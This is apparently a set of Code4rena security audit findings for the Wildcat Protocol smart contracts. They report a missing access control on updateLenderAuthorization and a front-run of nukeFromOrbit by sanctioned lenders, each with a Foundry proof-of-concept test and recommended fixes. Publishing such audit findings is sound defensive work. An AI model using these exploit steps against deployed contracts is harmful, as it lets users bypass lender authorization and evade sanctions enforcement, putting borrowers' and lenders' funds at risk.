The Wildcat Protocol - SandNallani's results

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/WildcatMarketController.sol#L182

Vulnerability details

Impact

In the WildcatMarketController is deployed by a borrower to create markets and authorize lenders on those markets. The borrower can authorize lenders in the controller contract by calling the authorizeLenders function which has access control to only allow the borrower to perform the action. Similarly, the borrower can deauthorize lenders at will.

Further, updateLenderAuthorization needs to be called to approve authorized lender on markets deployed by the registered borrower. However, there are no access controls or restriction on who can call this function. Thus any account is able to call this function to get the Role=2 or AuthRole.WithdrawOnly as shown in the POC below.

Proof of Concept

contract WildcatMarketBase is ReentrancyGuard, IMarketEventsAndErrors {

function updateLenderAuthorization(address lender, address[] memory markets) external {
	if(!isAuthorizedLender(lender)) revert InvalidLender(); //Audit   
        for (uint256 i; i < markets.length; i++) {
        address market = markets[i];
        if (!_controlledMarkets.contains(market)) {
           revert NotControlledMarket();
          }
        WildcatMarket(market).updateAccountAuthorization(lender, _authorizedLenders.contains(lender));
      }
  }
...
}

The below test block could be added anywhere in the WildcatMarketController.t.sol.

function testAuthorizeAnyoneForWithdrawRole() external {
        address[] memory lenders = new address[](2);
        address[] memory markets = new address[](1);
        markets[0]= address(market);
        lenders[0] = alice;
        lenders[1]= bob; 
        vm.prank(borrower);
        controller.deauthorizeLenders(lenders);
        vm.startPrank(alice);
        controller.updateLenderAuthorization(alice,markets);
        controller.updateLenderAuthorization(bob,markets);
        assertEq(controller.isAuthorizedLender(alice),false);
        assertEq(controller.isAuthorizedLender(bob),false);
        assertEq(uint(market.getAccountRole(alice)),2);
        assertEq(uint(market.getAccountRole(bob)),2);

    }

Foundry test trace:

B146AC9dB5B1FED6d91]) 
    │   ├─ [46178] WildcatMarket::updateAccountAuthorization(0x00000000000000000000000000000000000A11cE, false) 
    │   │   ├─ [2539] MockERC20::balanceOf(WildcatMarket: [0xadB501D72f6e20B2fe166B146AC9dB5B1FED6d91]) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ emit StateUpdated(scaleFactor: 1000000000000000000000000000 [1e27], isDelinquent: false)
    │   │   ├─ emit AuthorizationStatusUpdated(account: 0x00000000000000000000000000000000000A11cE, role: 2)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [33799] MockController::updateLenderAuthorization(0x0000000000000000000000000000000000000B0b, [0xadB501D72f6e20B2fe166B146AC9dB5B1FED6d91]) 
    │   ├─ [31678] WildcatMarket::updateAccountAuthorization(0x0000000000000000000000000000000000000B0b, false) 
    │   │   ├─ [539] MockERC20::balanceOf(WildcatMarket: [0xadB501D72f6e20B2fe166B146AC9dB5B1FED6d91]) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ emit StateUpdated(scaleFactor: 1000000000000000000000000000 [1e27], isDelinquent: false)
    │   │   ├─ emit AuthorizationStatusUpdated(account: 0x0000000000000000000000000000000000000B0b, role: 2)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [2819] MockController::isAuthorizedLender(0x00000000000000000000000000000000000A11cE) [staticcall]
    │   └─ ← false
    ├─ [819] MockController::isAuthorizedLender(0x0000000000000000000000000000000000000B0b) [staticcall]
    │   └─ ← false
    ├─ [811] WildcatMarket::getAccountRole(0x00000000000000000000000000000000000A11cE) [staticcall]
    │   └─ ← 2
    ├─ [811] WildcatMarket::getAccountRole(0x0000000000000000000000000000000000000B0b) [staticcall]

Tools Used

Foundry

Recommended Mitigation Steps

The function updateLenderAuthorization should perform a check to see if the the lender has been authorized by the registered borrower on the controller or should have an access control to ensure that only the registered borrower can perform the update.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketConfig.sol#L73

Vulnerability details

Impact

The WildcatMarketConfig contract has a function called nukeFromOrbit which is an external function that can be called by anyone on a sanctioned address. Invoking this function, specifying a sanctioned account, results in that account being blocked from interacting with the markets. This happens by changing the approval to AuthRole.Blocked. Further, an eschrow contract is deployed and the scaled balances of the account are transferred to it.

However, it would be possible for the sanctioned account to front run the nukeFromOrbit function by transferring their market tokens to any account that's not authorized by the borrower.

This is possible because the function WildcatMarketController::updateLenderAuthorization() function can be called by anyone to authorize accounts on the markets, though the accounts aren't registered on the controller. Hence, the account is able get withdraw permission on the registered market and perform the withdrawal on behalf of the sanctioned lender.

Proof of Concept

Please place the following test block anywhere in the WildcatMarketConfig.t.sol.

function test_nukeFromOrbit_frontRun() external {
    address[] memory markets = new address[](1);
    markets[0]= address(market);
    __deposit(alice, 1e6);
    sanctionsSentinel.sanction(alice);
    vm.prank(alice);
    market.transfer(bob,1e6);
    vm.expectEmit(address(market));
    emit AuthorizationStatusUpdated(alice, AuthRole.Blocked);

    market.nukeFromOrbit(alice);
    assertEq(
      uint(market.getAccountRole(alice)),
      uint(AuthRole.Blocked),
      "alice's role should be Blocked"
    );
    assertEq(
      uint(market.getAccountRole(bob)),
      uint(0),
      "bob's role status is null"
    );

    vm.prank(bob);
    controller.updateLenderAuthorization(bob,markets);
    assertEq(controller.isAuthorizedLender(bob),false);
    assertEq(uint(market.getAccountRole(bob)),2);

  }

Tools Used

Foundry

Recommended Mitigation Steps

Consider updating the market's token::transfer function to not permit a sanctioned address's balance to transferred to another address in order to prevent their funds from being locked up in the eschrow contract.

Assessed type

Token-Transfer